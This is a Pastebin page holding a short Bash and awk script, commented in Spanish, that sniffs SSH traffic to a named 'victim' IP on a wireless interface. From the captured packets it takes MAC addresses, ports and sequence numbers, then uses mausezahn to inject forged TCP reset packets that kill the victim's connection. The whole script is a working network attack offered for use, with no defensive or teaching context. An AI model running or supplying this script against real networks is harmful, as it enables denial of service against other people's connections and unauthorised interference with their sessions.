Advertisement
Guest User

Untitled

a guest
Dec 28th, 2013
416
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.88 KB | None | 0 0
  1. # script by
  2. # __ __ _ __
  3. # | \/ | ___ _ __ ___| |_ ___ _ __ ___ / _|
  4. # | |\/| |/ _ \| '_ \/ __| __/ _ \ '__| / _ \| |_
  5. # | | | | (_) | | | \__ \ || __/ | | (_) | _|
  6. # |_| |_|\___/|_| |_|___/\__\___|_| \___/|_|
  7. #
  8. #
  9. # ___ ___ ___ | | _(_) ___ ___
  10. # / __/ _ \ / _ \| |/ / |/ _ \/ __|
  11. # | (_| (_) | (_) | <| | __/\__ \
  12. # \___\___/ \___/|_|\_\_|\___||___/
  13. #
  14. #!/bin/bash
  15. #
  16. # sniffer on
  17. # ip victima filtro para localizar paquete conexion
  18. tcpdump -i wlan0 host 192.168.1.190 and port 22 and -S -n -e -l "tcp[13] & 16 == 16" | awk '{
  19. CONVFMT="%u";
  20. srand();
  21. #recogemos las variables de la salida tcpdump
  22. dst_mac = $2;
  23. src_mac = $4;
  24. split($12, dst, ".");
  25. split($10, src, ".");
  26. src_ip = src[1]"."src[2]"."src[3]"."src[4];
  27. dst_ip = dst[1]"."dst[2]"."dst[3]"."dst[4];
  28. src_port = substr(src[5], 1, length(src[5]));
  29. dst_port = substr(dst[5], 1, length(dst[5])-1);
  30. #recogemos el ack y seq number para poder mandar paquetes licitos
  31. seq_num = $16 ;
  32. ack_num = $18;
  33. #secuencia server +32,259,713,1864,2181,2815,2136,2498,3222
  34. #le pasamos la informacion a mausehn
  35. # exec_string2= "mz wlan0 -c 2 -A "src_ip" -B " dst_ip " -a "dst_mac" -b "src_mac" -t tcp \" flags=fin, win=0, dp=" src_port ", s="ack_num " sp="dst_port" \" " ;
  36.  
  37. exec_string= "mz wlan0 -c 1 -A "dst_ip" -B " src_ip " -a "src_mac" -b "dst_mac" -t tcp \" flags=rst, win=0, dp=" src_port ", s="ack_num " sp="dst_port" \" " ;
  38. # muestra informacion Debug.. input vs. output
  39. #print "[in] "$2 " "$3" "$4" "$5" "$6" "$7" "$8" "$9" "$10" "$11" "$12 ""$13""$14""$15 " " $16" " $17" "$18 " "$19;
  40. #print "[out server] "exec_string;
  41. #print "[out client] "exec_string2;
  42. # Injectamos los paquetes con Mausehn
  43. system(exec_string);
  44. # system(exec_string2);
  45. }'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement